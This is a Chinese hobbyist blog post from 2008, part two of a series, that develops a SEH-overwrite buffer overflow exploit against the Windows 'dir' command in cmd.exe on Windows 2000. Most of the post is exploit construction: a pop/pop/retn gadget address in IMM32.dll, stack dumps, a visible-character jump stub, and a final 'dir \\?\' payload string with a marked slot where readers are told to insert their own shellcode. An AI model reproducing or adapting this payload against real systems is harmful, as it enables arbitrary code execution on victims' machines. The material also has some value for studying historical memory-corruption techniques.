首页 > 网络安全 > 小心我“DIR”溢出你!(下)

小心我“DIR”溢出你!(下)

2008年7月23日 发表评论 阅读评论

from:大风起兮云飞扬

接着前面来。

在xp sp2 上由于有safeseh所以无法成功利用,那么我们换到win2000。

测试平台:Windows 2000 Server SP4 CN

当我信心满满,摩拳擦掌的来到2000平台时,遭受到了一次严重的打击,把我到了~~  

win 2000的默认cmd居然没有这个漏洞!

不过,你不能小看我的无耻。

是的,为了达到YY强国的目的,为了彻底的强X DIR,我把XP下的cmd.exe 拷贝 了一份到2000平台,这样就可以正常溢出了。

不过奇怪的是,banner显示的还是5.0 的版本

由于摆脱了safeseh的限制,在2000下我们可以任意跳转到喜欢去的地方

而且更开心的是,到了2000下,可以直接输入不可见字符了(也许是我土,void牛告诉我cmd里按住ctrl,再从小键盘输入数字就可以打不可见字符,不过我的笔记本没小键盘,无法体验了。),只要是双字节的不可见字符(用UltraEdit,进行unicode的16进制编辑即可),拷贝过来直接贴进去就行了。

在我系统上,cmd用的是GBK编码

这样的话,包括覆盖SEH、写shellcode在内,都会非常轻松。

但是在开篇我就说了,我今天是来自虐的,所以我准备用纯可见字符获取控制权。

为了选用合适的nop,可以用unicode的“q",编码后就是 "7100"

翻译成汇编代码就是:
jno 00
也就起到了nop的作用

而跳转地址,因为是覆盖seh,所以需要 pop/pop/retn 或者是  jmp ebx 类型的。

我选择了 IMM32.dll 里的 0x75e05db0
75E05DB0          5F                    POP EDI                                        ; ntdll.77FBB272
75E05DB1          5E                    POP ESI
75E05DB2          C2 0400               RETN 4

这个地址正好是unicode的汉字: "嶰痠"

最妙的是,这个地址当作指令执行也可以起到nop的效果。

但是上篇分析了,这个溢出会循环拷贝,会有很多镜像,所以seh后面并没有给我们留太多的空间。

0012FF34         00710071  q.q.  指向下一个 SEH 记录的指针
0012FF38         75E05DB0  癩鄒          SE处理程序

……

0012FF4C         00710071  q.q.
0012FF50         00710071  q.q.
0012FF54         00710071  q.q.
0012FF58         00710071  q.q.
0012FF5C         00710071  q.q.
0012FF60         00710071  q.q.
0012FF64         00710071  q.q.
0012FF68         00710071  q.q.
0012FF6C         00710071  q.q.
0012FF70         00710071  q.q.
0012FF74         00710071  q.q.
0012FF78         00710071  q.q.
0012FF7C         005C005C  \.\.           ==> 下一个拷贝开始
0012FF80         005C003F  ?.\.

0012FF84         00710071  q.q.

这么一点空间显然不够写太多的东西,所以需要跳到payload的前半部分去执行,以争取更多的写入Shellcode的空间

由于是在追求可见字符,所以在这段跳转的mini code的要求有点特别。

经过寻找,发现经过了 MOV AL, 5D 改变eax后( 75E05DB0中的 B0 5D),

[eax+3]比较符合这个要求,指向的是payload的前部。

所以使用如下的jmp code:
inc eax
inc eax
inc eax
call [eax+0x0h]
nop

经过一些变换后,变成可见字符,SEH跳转后如下:

其中ESI里的地址比较无关紧要,所以NOP的工作就交到了ESI的身上

看看栈里的数据:
0012FF34         00710071  q.q.  指向下一个 SEH 记录的指针
0012FF38         75E05DB0  癩鄒          SE处理程序
0012FF3C         00460040  @.F.
0012FF40         00460040  @.F.
0012FF44         00460040  @.F.
0012FF48         900050FF  P.
0012FF4C         00710071  q.q.

如果不看unicode的话,就应该是  @F@F@F僿退

其中 "僿退" 就是  FF500090
也就是
call [eax+0]        
NOP

@F则是完成eax+3的工作

后来发现这样做是走了弯路,直接使用
call [eax+0x3h]
NOP
会更简便

这样,unicode就是: FF500390

变成汉字就是: "僿逃"

所以,最终的payload就变成了

dir \\?\qqqqqqqqqqqqqqqqqqqqddddSSSSSSHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHBBqq嶰痠僿逃qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

qqq…. 是NOP, 字母“S”则是shellcode开始的地方

由于覆盖SEH需要 \\?\\AAA(224个A)[SEH handler]AAAAA………….

而我们获取控制后,跳转回去,大概会有390多个字节的空间可以利用,如果计算精确的话,可以有400多个字节能写shellcode(unicode是双字节)。

整个流程如下:

覆盖SEH跳转后:

call [eax+3]后:

6400640064006400 就是payload里的 ”dddd“

把上面的code替换成你自己的Shellcode即可。

至此,我们控制了流程,而且有了400多字节可以写入shellcode的地方

YY完毕。

小心我"DIR"溢出你!

转载请注明:woyigui's blog [http://www.woyigui.cn/]
本文标题:小心我“DIR”溢出你!(下)
本文地址:http://www.woyigui.cn/2008/07/23/dir-Under/

分类: 网络安全 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.
*